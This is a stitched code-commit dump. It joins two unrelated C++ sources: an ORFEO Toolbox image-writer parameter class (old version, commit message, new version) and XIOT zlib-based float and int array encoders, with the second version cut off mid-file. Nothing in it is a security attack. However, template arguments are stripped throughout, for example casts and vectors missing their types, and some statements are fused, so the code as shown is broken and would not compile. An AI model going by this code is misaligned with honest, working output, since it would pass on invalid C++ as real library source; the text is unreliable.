DoubleRGBAImageType, m_RGBADoubleWriter);\n break;\n }\n }\n }\n\nvoid\nOutputImageParameter::Write()\n{\n m_Image->UpdateOutputInformation();\n\n if (dynamic_cast(m_Image.GetPointer())) \n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n std::cout<<\"Write, input is image uint8\"<();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else\n {\n itkExceptionMacro(\"Unknown image type\");\n }\n }\n\n\nitk::ProcessObject*\nOutputImageParameter::GetWriter()\n{\n int type = 0;\n \/\/ 0 : image\n \/\/ 1 : VectorImage\n \/\/ 2 : RGBAImage\n \n if ( dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast( m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) ||\n dynamic_cast(m_Image.GetPointer()) )\n {\n type = 1;\n } \n else if( dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast( m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) )\n {\n type = 2;\n }\n\n\n itk::ProcessObject* writer = 0;\n switch ( GetPixelType() )\n {\n case ImagePixelType_int8:\n {\n if( type == 1 )\n writer = m_VectorInt8Writer;\n else if(type == 0)\n writer = m_Int8Writer;\n else\n writer = m_RGBAInt8Writer;\n break;\n }\n case ImagePixelType_uint8:\n {\n if( type == 1 )\n writer = m_VectorUInt8Writer;\n else if(type == 0)\n writer = m_UInt8Writer;\n else\n writer = m_RGBAUInt8Writer;\n break;\n }\n case ImagePixelType_int16:\n {\n if( type == 1 )\n writer = m_VectorInt16Writer;\n else if(type == 0)\n writer = m_Int16Writer;\n else\n writer = m_RGBAInt16Writer;\n break;\n }\n case ImagePixelType_uint16:\n {\n if( type == 1 )\n writer = m_VectorUInt16Writer;\n else if(type == 0)\n writer = m_UInt16Writer;\n else\n writer = m_RGBAUInt16Writer;\n break;\n }\n case ImagePixelType_int32:\n {\n if( type == 1 )\n writer = m_VectorInt32Writer;\n else if(type == 0)\n writer = m_Int32Writer;\n else\n writer = m_RGBAInt32Writer;\n break;\n }\n case ImagePixelType_uint32:\n {\n if( type == 1 )\n writer = m_VectorUInt32Writer;\n else if(type == 0)\n writer = m_UInt32Writer;\n else\n writer = m_RGBAUInt32Writer;\n break;\n }\n case ImagePixelType_float:\n {\n if( type == 1 )\n writer = m_VectorFloatWriter;\n else if(type == 0)\n writer = m_FloatWriter;\n else\n writer = m_RGBAFloatWriter;\n break;\n }\n case ImagePixelType_double:\n {\n if( type == 1 )\n writer = m_VectorDoubleWriter;\n else if(type == 0)\n writer = m_DoubleWriter;\n else\n writer = m_RGBADoubleWriter;\n break;\n }\n }\n return writer;\n}\n\nOutputImageParameter::ImageBaseType*\nOutputImageParameter::GetValue( )\n{\n return m_Image;\n}\n\nvoid\nOutputImageParameter::SetValue(ImageBaseType* image)\n{\n m_Image = image;\n SetActive(true);\n}\n\nbool\nOutputImageParameter::HasValue() const\n{\n std::string filename(this->GetFileName());\n return !filename.empty();\n}\n\n}\n}\nENH: add missing init\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperOutputImageParameter.h\"\n#include \"itkCastImageFilter.h\"\n#include \"itkVectorCastImageFilter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nOutputImageParameter::OutputImageParameter()\n: m_PixelType(ImagePixelType_float)\n{\n this->SetName(\"Output Image\");\n this->SetKey(\"out\");\n\n this->InitializeWriters();\n}\n\n\nOutputImageParameter::~OutputImageParameter()\n{\n}\n\nvoid OutputImageParameter::InitializeWriters()\n{\n m_Int8Writer = Int8WriterType::New();\n m_UInt8Writer = UInt8WriterType::New();\n m_Int16Writer = Int16WriterType::New();\n m_UInt16Writer = UInt16WriterType::New();\n m_Int32Writer = Int32WriterType::New();\n m_UInt32Writer = UInt32WriterType::New();\n m_FloatWriter = FloatWriterType::New();\n m_DoubleWriter = DoubleWriterType::New();\n\n m_VectorInt8Writer = VectorInt8WriterType::New();\n m_VectorUInt8Writer = VectorUInt8WriterType::New();\n m_VectorInt16Writer = VectorInt16WriterType::New();\n m_VectorUInt16Writer = VectorUInt16WriterType::New();\n m_VectorInt32Writer = VectorInt32WriterType::New();\n m_VectorUInt32Writer = VectorUInt32WriterType::New();\n m_VectorFloatWriter = VectorFloatWriterType::New();\n m_VectorDoubleWriter = VectorDoubleWriterType::New();\n\n m_RGBAInt8Writer = RGBAInt8WriterType::New();\n m_RGBAUInt8Writer = RGBAUInt8WriterType::New();\n m_RGBAInt16Writer = RGBAInt16WriterType::New();\n m_RGBAUInt16Writer = RGBAUInt16WriterType::New();\n m_RGBAInt32Writer = RGBAInt32WriterType::New();\n m_RGBAUInt32Writer = RGBAUInt32WriterType::New();\n m_RGBAFloatWriter = RGBAFloatWriterType::New();\n m_RGBADoubleWriter = RGBADoubleWriterType::New();\n}\n\n\n#define otbCastAndWriteImageMacro(InputImageType, OutputImageType, writer) \\\n { \\\n typedef itk::CastImageFilter CastFilterType; \\\n typename CastFilterType::Pointer caster = CastFilterType::New(); \\\n caster->SetInput( dynamic_cast(m_Image.GetPointer()) ); \\\n writer->SetFileName( this->GetFileName() ); \\\n writer->SetInput(caster->GetOutput()); \\\n writer->Update(); \\\n }\n\n\ntemplate \nvoid \nOutputImageParameter::SwitchImageWrite()\n{\n switch(m_PixelType )\n {\n case ImagePixelType_int8:\n {\n otbCastAndWriteImageMacro(TInputImageType, Int8ImageType, m_Int8Writer);\n break;\n }\n case ImagePixelType_uint8:\n {\n std::cout<<\"Write, output is image uint8\"<\nvoid\nOutputImageParameter::SwitchVectorImageWrite()\n {\n switch(m_PixelType )\n {\n case ImagePixelType_int8:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, Int8VectorImageType, m_VectorInt8Writer);\n break;\n }\n case ImagePixelType_uint8:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, UInt8VectorImageType, m_VectorUInt8Writer);\n break;\n }\n case ImagePixelType_int16:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, Int16VectorImageType, m_VectorInt16Writer);\n break;\n }\n case ImagePixelType_uint16:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, UInt16VectorImageType, m_VectorUInt16Writer);\n break;\n }\n case ImagePixelType_int32:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, Int32VectorImageType, m_VectorInt32Writer);\n break;\n }\n case ImagePixelType_uint32:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, UInt32VectorImageType, m_VectorUInt32Writer);\n break;\n }\n case ImagePixelType_float:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, FloatVectorImageType, m_VectorFloatWriter);\n break;\n }\n case ImagePixelType_double:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, DoubleVectorImageType, m_VectorDoubleWriter);\n break;\n }\n }\n }\n\n\ntemplate \nvoid\nOutputImageParameter::SwitchRGBAImageWrite()\n {\n switch(m_PixelType )\n {\n case ImagePixelType_int8:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, Int8RGBAImageType, m_RGBAInt8Writer);\n break;\n }\n case ImagePixelType_uint8:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, UInt8RGBAImageType, m_RGBAUInt8Writer);\n break;\n }\n case ImagePixelType_int16:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, Int16RGBAImageType, m_RGBAInt16Writer);\n break;\n }\n case ImagePixelType_uint16:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, UInt16RGBAImageType, m_RGBAUInt16Writer);\n break;\n }\n case ImagePixelType_int32:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, Int32RGBAImageType, m_RGBAInt32Writer);\n break;\n }\n case ImagePixelType_uint32:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, UInt32RGBAImageType, m_RGBAUInt32Writer);\n break;\n }\n case ImagePixelType_float:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, FloatRGBAImageType, m_RGBAFloatWriter);\n break;\n }\n case ImagePixelType_double:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, DoubleRGBAImageType, m_RGBADoubleWriter);\n break;\n }\n }\n }\n\nvoid\nOutputImageParameter::Write()\n{\n m_Image->UpdateOutputInformation();\n\n if (dynamic_cast(m_Image.GetPointer())) \n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n std::cout<<\"Write, input is image uint8\"<();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchVectorImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else if (dynamic_cast(m_Image.GetPointer()))\n {\n SwitchRGBAImageWrite();\n }\n else\n {\n itkExceptionMacro(\"Unknown image type\");\n }\n }\n\n\nitk::ProcessObject*\nOutputImageParameter::GetWriter()\n{\n int type = 0;\n \/\/ 0 : image\n \/\/ 1 : VectorImage\n \/\/ 2 : RGBAImage\n \n if ( dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast( m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) ||\n dynamic_cast(m_Image.GetPointer()) )\n {\n type = 1;\n } \n else if( dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast( m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) ||\n dynamic_cast( m_Image.GetPointer()) || \n dynamic_cast(m_Image.GetPointer()) )\n {\n type = 2;\n }\n\n\n itk::ProcessObject* writer = 0;\n switch ( GetPixelType() )\n {\n case ImagePixelType_int8:\n {\n if( type == 1 )\n writer = m_VectorInt8Writer;\n else if(type == 0)\n writer = m_Int8Writer;\n else\n writer = m_RGBAInt8Writer;\n break;\n }\n case ImagePixelType_uint8:\n {\n if( type == 1 )\n writer = m_VectorUInt8Writer;\n else if(type == 0)\n writer = m_UInt8Writer;\n else\n writer = m_RGBAUInt8Writer;\n break;\n }\n case ImagePixelType_int16:\n {\n if( type == 1 )\n writer = m_VectorInt16Writer;\n else if(type == 0)\n writer = m_Int16Writer;\n else\n writer = m_RGBAInt16Writer;\n break;\n }\n case ImagePixelType_uint16:\n {\n if( type == 1 )\n writer = m_VectorUInt16Writer;\n else if(type == 0)\n writer = m_UInt16Writer;\n else\n writer = m_RGBAUInt16Writer;\n break;\n }\n case ImagePixelType_int32:\n {\n if( type == 1 )\n writer = m_VectorInt32Writer;\n else if(type == 0)\n writer = m_Int32Writer;\n else\n writer = m_RGBAInt32Writer;\n break;\n }\n case ImagePixelType_uint32:\n {\n if( type == 1 )\n writer = m_VectorUInt32Writer;\n else if(type == 0)\n writer = m_UInt32Writer;\n else\n writer = m_RGBAUInt32Writer;\n break;\n }\n case ImagePixelType_float:\n {\n if( type == 1 )\n writer = m_VectorFloatWriter;\n else if(type == 0)\n writer = m_FloatWriter;\n else\n writer = m_RGBAFloatWriter;\n break;\n }\n case ImagePixelType_double:\n {\n if( type == 1 )\n writer = m_VectorDoubleWriter;\n else if(type == 0)\n writer = m_DoubleWriter;\n else\n writer = m_RGBADoubleWriter;\n break;\n }\n }\n return writer;\n}\n\nOutputImageParameter::ImageBaseType*\nOutputImageParameter::GetValue( )\n{\n return m_Image;\n}\n\nvoid\nOutputImageParameter::SetValue(ImageBaseType* image)\n{\n m_Image = image;\n SetActive(true);\n}\n\nbool\nOutputImageParameter::HasValue() const\n{\n std::string filename(this->GetFileName());\n return !filename.empty();\n}\n\n}\n}\n<|endoftext|>"} {"text":"#include \n\n#include \n#include \n\n#include \"zlib.h\"\n\n#include \n#include \n#include \n#include \n\nnamespace XIOT {\n\n\tstd::string QuantizedzlibFloatArrayAlgorithm::decodeToString(const FI::NonEmptyOctetString &octets) const\n\t{\n\t\tstd::vector floatArray;\n\t\tQuantizedzlibFloatArrayAlgorithm::decodeToFloatArray(octets, floatArray);\n\t\t\n\t\tstd::stringstream ss;\n\t\tstd::vector::const_iterator I; \n\t\tfor(I = floatArray.begin(); I != floatArray.end() -1; I++)\n\t\t{\n\t\t\tss << (*I) << \" \";\n\t\t}\n\t\tss << (*I);\n\t\treturn ss.str();\n\t}\n\n\tvoid QuantizedzlibFloatArrayAlgorithm::decodeToFloatArray(const FI::NonEmptyOctetString &octets, std::vector &vec)\n\t{\n \/\/ The format for encoding the custom float format is : (-S)000EEEE|000MMMMM.\n bool sign = !static_cast(octets[0] & 0x80);\n unsigned char exponent = octets[0] & FI::Constants::LAST_FOUR_BITS;\n\t\tunsigned char mantissa = octets[1] & FI::Constants::LAST_FIVE_BITS;\n\n int numBits = exponent + mantissa + (sign ? 1 : 0);\n\n\t\tconst unsigned char* pStr = &octets.front();\n\n\t\tunsigned int len = FI::Tools::readUInt(pStr+2);\n\t\tunsigned int numFloats = FI::Tools::readUInt(pStr+6); \/\/ = (len * 8) \/ (exponent + mantissa + sign); \n\n\t\tstd::vector temp_result(len);\n uLong sourceLen = static_cast(octets.size()-10);\n\t\tuLong destSize = static_cast(temp_result.size());\n\t\t\n int result_code = uncompress(&temp_result.front(), &destSize, (unsigned char*)pStr + 10, sourceLen);\n if (result_code != Z_OK) {\n std::stringstream ss;\n ss << \"Error while decoding QuantizedzlibFloatArray. ZLIB error code: \" << result_code;\n throw X3DParseException(ss.str());\n }\n\n\t\tstd::vector result(numFloats);\n\n\t\tFITools::BitUnpacker bu(&temp_result.front(), destSize);\n\t\tFITools::FloatPacker fp(exponent, mantissa);\n\t\tfor(unsigned int i=0; i < numFloats; i++) {\n\t\t\tunsigned long val = bu.unpack(numBits);\n\t\t\tresult[i] = fp.decode(val, sign);\n\t\t}\n\t\tstd::swap(result, vec);\n\t}\n\n\tvoid QuantizedzlibFloatArrayAlgorithm::encode(const float* values, size_t size, FI::NonEmptyOctetString &octets)\n\t{\n\t\tunsigned char* bytes = new unsigned char[size*4];\n\t\tunsigned char* bytepos = bytes;\n\t\tsize_t i;\n\n\t\tconst float* vf = values;\n\t\tfor (i = 0; i < size; i++)\n\t\t{\n\t\t\tunion float_to_unsigned_int_to_bytes\n\t\t\t{\n\t\t\t\tfloat f;\n\t\t\t\tunsigned int ui;\n\t\t\t\tunsigned char ub[4]; \/\/ unsigned bytes\n\t\t\t};\n\t\t\tfloat_to_unsigned_int_to_bytes v;\n\t\t\tv.f = (*vf) * 2.0f;\n\n\t\t\t\/\/ Avoid -0\n\t\t\tif (v.ui == 0x80000000)\n\t\t\t{\n\t\t\t\tv.f = 0.0f;\n\t\t\t}\n\t\t\t\/\/ std::cout << \"value: \" << v << \" bytes: \" << (int)s[0] << \" \" << (int)s[1] << \" \" << (int)s[2] << \" \" << (int)s[3]) << std::endl;\n\t\t\t*bytepos++ = v.ub[3];\n\t\t\t*bytepos++ = v.ub[2];\n\t\t\t*bytepos++ = v.ub[1];\n\t\t\t*bytepos++ = v.ub[0];\n\t\t\tvf++;\n\t\t}\n\n\n\t\t\/\/ Compress the data\n\t\tunsigned long compressedSize = static_cast(size*4) + static_cast(ceil((size*4)*0.001)) + 12;\n\t\tBytef* compressedData = new Bytef[compressedSize];\n\n\t\t\/\/ Call zlib's compress function.\n\t\tif(compress2(compressedData, &compressedSize, reinterpret_cast(bytes), static_cast(size*4), Z_DEFAULT_COMPRESSION) != Z_OK)\n\t\t{ \n\t\t\tthrow X3DParseException(\"Error while encoding QuantizedzlibFloatArrayAlgorithm\");\n\t\t}\n\n\t\tunsigned char *s;\n\t\t\/\/ Put the number of bits for exponent\n octets.push_back(static_cast(8));\n\t\t\/\/ Put the number of bits for mantissa\n octets.push_back(static_cast(23));\n\t\t\n\t\t\/\/ Put the length\n\t\tint length = static_cast(size*4);\n\t\tint length_reversed = FI::Tools::reverseBytes(&length);\n\t\ts = reinterpret_cast (&length_reversed);\n octets.insert(octets.end(), s, s+3);\n\n\t\t\/\/ Put the number of floats\n\t\tint numFloats = static_cast(size);\n\t\tint numFloats_reversed = FI::Tools::reverseBytes(&numFloats);;\n\t\ts = reinterpret_cast (&numFloats_reversed);\n octets.insert(octets.end(), s, s+3);\n \/\/octets.insert(octets.end(), s[0], s[3]);\n\t\t\/\/octets.append(s, 4);\n\n\t\tfor (i = 0; i < compressedSize; i++)\n\t\t{\n\t\t\tunsigned char c = compressedData[i];\n octets.push_back(c);\n\t\t}\n\t\tdelete[] compressedData;\n\t\tdelete[] bytes;\n\t}\n\n\tstd::string DeltazlibIntArrayAlgorithm::decodeToString(const FI::NonEmptyOctetString &octets) const\n\t{\n\t\tstd::vector intArray;\n\t\tDeltazlibIntArrayAlgorithm::decodeToIntArray(octets, intArray);\n\n\t\tstd::stringstream ss;\n\t\tstd::vector::const_iterator I;\n\t\tfor(I = intArray.begin(); I != intArray.end() -1; I++)\n\t\t{\n\t\t\tss << (*I) << \" \";\n\t\t}\n\t\tss << (*I);\n\t\treturn ss.str();\n\t}\n\n\tvoid DeltazlibIntArrayAlgorithm::decodeToIntArray(const FI::NonEmptyOctetString &octets, std::vector &vec)\n\t{\n\t\tconst unsigned char* pStr = &octets.front();\n\n\t\tunsigned int length = FI::Tools::readUInt((unsigned char*)pStr);\n\t\tunsigned char span = octets[4];\n\n\t\tstd::vector temp_result(length*4);\n uLong sourceLen = static_cast(octets.size()-5);\n\t\tuLong destSize = static_cast(temp_result.size());\n\t\tconst Bytef *source = (const Bytef *)(pStr + 5);\n\n int result_code = uncompress(&temp_result.front(), &destSize, source, sourceLen);\n if (result_code != Z_OK) {\n std::stringstream ss;\n ss << \"Error while decoding DeltazlibIntArrayAlgorithm. ZLIB error code: \" << result_code;\n throw X3DParseException(ss.str());\n }\n\t\tstd::vector result(length);\n\n\t\tBytef* pRes = &temp_result.front();\n\t\tfor(unsigned int i = 0; i < length; i++)\n\t\t{\n\t\t\tresult[i] = FI::Tools::readUInt(pRes) -1;\n\t\t\tif (span && i >= span)\n\t\t\t\tresult[i] += result[i-span];\n\t\t\tpRes+=4;\n\t\t}\n\t\tstd::swap(result, vec);\n\t}\n\n\tvoid DeltazlibIntArrayAlgorithm::encode(const int* values, size_t size, FI::NonEmptyOctetString &octets, bool isImage)\n\t{\n\t\t\/\/ compute delta\n\t\tchar span = 0;\n\t\tsize_t i = 0;\n\t\tint f; unsigned char *p;\n\t\tstd::vector deltas;\n\n\t\tif (isImage)\n\t\t{\n\t\t\tspan = 0;\n\t\t\tfor(i = 0; i < size; i++)\n\t\t\t{\n\t\t\t\tint v = 1 + (values[i]);\n\t\t\t\tint *vp = reinterpret_cast(&v);\n\t\t\t\tf = FI::Tools::reverseBytes(vp);\n\t\t\t\tp = reinterpret_cast (&f);\n\t\t\t\tdeltas.push_back(p[0]);\n\t\t\t\tdeltas.push_back(p[1]);\n\t\t\t\tdeltas.push_back(p[2]);\n\t\t\t\tdeltas.push_back(p[3]);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor (i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tif (values[i] == -1)\n\t\t\t\t{\n\t\t\t\t\tspan = static_cast(i) + 1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!span) span = 4;\n\n\t\t\tfor(i = 0; i < static_cast(span); i++)\n\t\t\t{\n\t\t\t\tint v = 1 + values[i];\n\t\t\t\tint *vp = reinterpret_cast(&v);\n\t\t\t\tf = FI::Tools::reverseBytes(vp);\n\n\t\t\t\tp = reinterpret_cast (&f);\n\t\t\t\tdeltas.push_back(p[0]);\n\t\t\t\tdeltas.push_back(p[1]);\n\t\t\t\tdeltas.push_back(p[2]);\n\t\t\t\tdeltas.push_back(p[3]);\n\t\t\t}\n\t\t\tfor(i = span; i < size; i++)\n\t\t\t{\n\t\t\t\tint v = 1 + (values[i] - values[i-span]);\n\t\t\t\tf = FI::Tools::reverseBytes(&v);\n\n\t\t\t\tp = reinterpret_cast (&f);\n\t\t\t\tdeltas.push_back(p[0]);\n\t\t\t\tdeltas.push_back(p[1]);\n\t\t\t\tdeltas.push_back(p[2]);\n\t\t\t\tdeltas.push_back(p[3]);\n\t\t\t}\n\t\t}\n\n\t\tunsigned long compressedSize = static_cast(deltas.size() + ceil(deltas.size()*0.001)) + 12;\n\t\tBytef* compressedData = new Bytef[compressedSize];\n\n\t\t\/\/ Call zlib's compress function.\n\t\tif(compress2(compressedData, &compressedSize, reinterpret_cast(&deltas[0]), static_cast(deltas.size()), Z_DEFAULT_COMPRESSION) != Z_OK)\n\t\t{ \n\t\t\tthrow X3DParseException(\"Error while encoding DeltazlibIntArrayAlgorithm\");\n\t\t}\n\n\t\tint size32 = static_cast(size);\n\t\tint size32_reversed = FI::Tools::reverseBytes(&size32);\n\t\tchar *s = reinterpret_cast (&size32_reversed);\n\n\t\toctets.insert(octets.begin(), s, s+4);\n\t\toctets.push_back(span);\n\n\t\tfor (i = 0; i < compressedSize; i++)\n\t\t{\n\t\t\toctets.push_back(compressedData[i]);\n\t\t}\n\t\tdelete[] compressedData;\n\n\t}\n}\n\nFixed warning#include \n\n#include \n#include \n\n#include \"zlib.h\"\n\n#include \n#include \n#include \n#include \n\nnamespace XIOT {\n\n\tstd::string QuantizedzlibFloatArrayAlgorithm::decodeToString(const FI::NonEmptyOctetString &octets) const\n\t{\n\t\tstd::vector floatArray;\n\t\tQuantizedzlibFloatArrayAlgorithm::decodeToFloatArray(octets, floatArray);\n\n\t\tstd::stringstream ss;\n\t\tstd::vector::const_iterator I;\n\t\tfor(I = floatArray.begin(); I != floatArray.end() -1; I++)\n\t\t{\n\t\t\tss << (*I) << \" \";\n\t\t}\n\t\tss << (*I);\n\t\treturn ss.str();\n\t}\n\n\tvoid QuantizedzlibFloatArrayAlgorithm::decodeToFloatArray(const FI::NonEmptyOctetString &octets, std::vector &vec)\n\t{\n \/\/ The format for encoding the custom float format is : (-S)000EEEE|000MMMMM.\n bool sign = (octets[0] & 0x80) == 0;\n unsigned char exponent = octets[0] & FI::Constants::LAST_FOUR_BITS;\n\t\tunsigned char mantissa = octets[1] & FI::Constants::LAST_FIVE_BITS;\n\n int numBits = exponent + mantissa + (sign ? 1 : 0);\n\n\t\tconst unsigned char* pStr = &octets.front();\n\n\t\tunsigned int len = FI::Tools::readUInt(pStr+2);\n\t\tunsigned int numFloats = FI::Tools::readUInt(pStr+6); \/\/ = (len * 8) \/ (exponent + mantissa + sign);\n\n\t\tstd::vector temp_result(len);\n uLong sourceLen = static_cast(octets.size()-10);\n\t\tuLong destSize = static_cast(temp_result.size());\n\n int result_code = uncompress(&temp_result.front(), &destSize, (unsigned char*)pStr + 10, sourceLen);\n if (result_code != Z_OK) {\n std::stringstream ss;\n ss << \"Error while decoding QuantizedzlibFloatArray. ZLIB error code: \" << result_code;\n throw X3DParseException(ss.str());\n }\n\n\t\tstd::vector result(numFloats);\n\n\t\tFITools::BitUnpacker bu(&temp_result.front(), destSize);\n\t\tFITools::FloatPacker fp(exponent, mantissa);\n\t\tfor(unsigned int i=0; i < numFloats; i++) {\n\t\t\tunsigned long val = bu.unpack(numBits);\n\t\t\tresult[i] = fp.decode(val, sign);\n\t\t}\n\t\tstd::swap(result, vec);\n\t}\n\n\tvoid QuantizedzlibFloatArrayAlgorithm::encode(const float* values, size_t size, FI::NonEmptyOctetString &octets)\n\t{\n\t\tunsigned char* bytes = new unsigned char[size*4];\n\t\tunsigned char* bytepos = bytes;\n\t\tsize_t i;\n\n\t\tconst float* vf = values;\n\t\tfor (i = 0; i < size; i++)\n\t\t{\n\t\t\tunion float_to_unsigned_int_to_bytes\n\t\t\t{\n\t\t\t\tfloat f;\n\t\t\t\tunsigned int ui;\n\t\t\t\tunsigned char ub[4]; \/\/ unsigned bytes\n\t\t\t};\n\t\t\tfloat_to_unsigned_int_to_bytes v;\n\t\t\tv.f = (*vf) * 2.0f;\n\n\t\t\t\/\/ Avoid -0\n\t\t\tif (v.ui == 0x80000000)\n\t\t\t{\n\t\t\t\tv.f = 0.0f;\n\t\t\t}\n\t\t\t\/\/ std::cout << \"value: \" << v << \" bytes: \" << (int)s[0] << \" \" << (int)s[1] << \" \" << (int)s[2] << \" \" << (int)s[3]) << std::endl;\n\t\t\t*bytepos++ = v.ub[3];\n\t\t\t*bytepos++ = v.ub[2];\n\t\t\t*bytepos++ = v.ub[1];\n\t\t\t*bytepos++ = v.ub[0];\n\t\t\tvf++;\n\t\t}\n\n\n\t\t\/\/ Compress the data\n\t\tunsigned long compressedSize = static_cast(size*4) + static_cast(ceil((size*4)*0.001)) + 12;\n\t\tBytef* compressedData = new Bytef[compressedSize];\n\n\t\t\/\/ Call zlib's compress function.\n\t\tif(compress2(compressedData, &compressedSize, reinterpret_cast(bytes), static_cast(size*4), Z_DEFAULT_COMPRESSION) != Z_OK)\n\t\t{\n\t\t\tthrow X3DParseException(\"Error while encoding QuantizedzlibFloatArrayAlgorithm\");\n\t\t}\n\n\t\tunsigned char *s;\n\t\t\/\/ Put the number of bits for exponent\n octets.push_back(static_cast(8));\n\t\t\/\/ Put the number of bits for mantissa\n octets.push_back(static_cast(23));\n\n\t\t\/\/ Put the 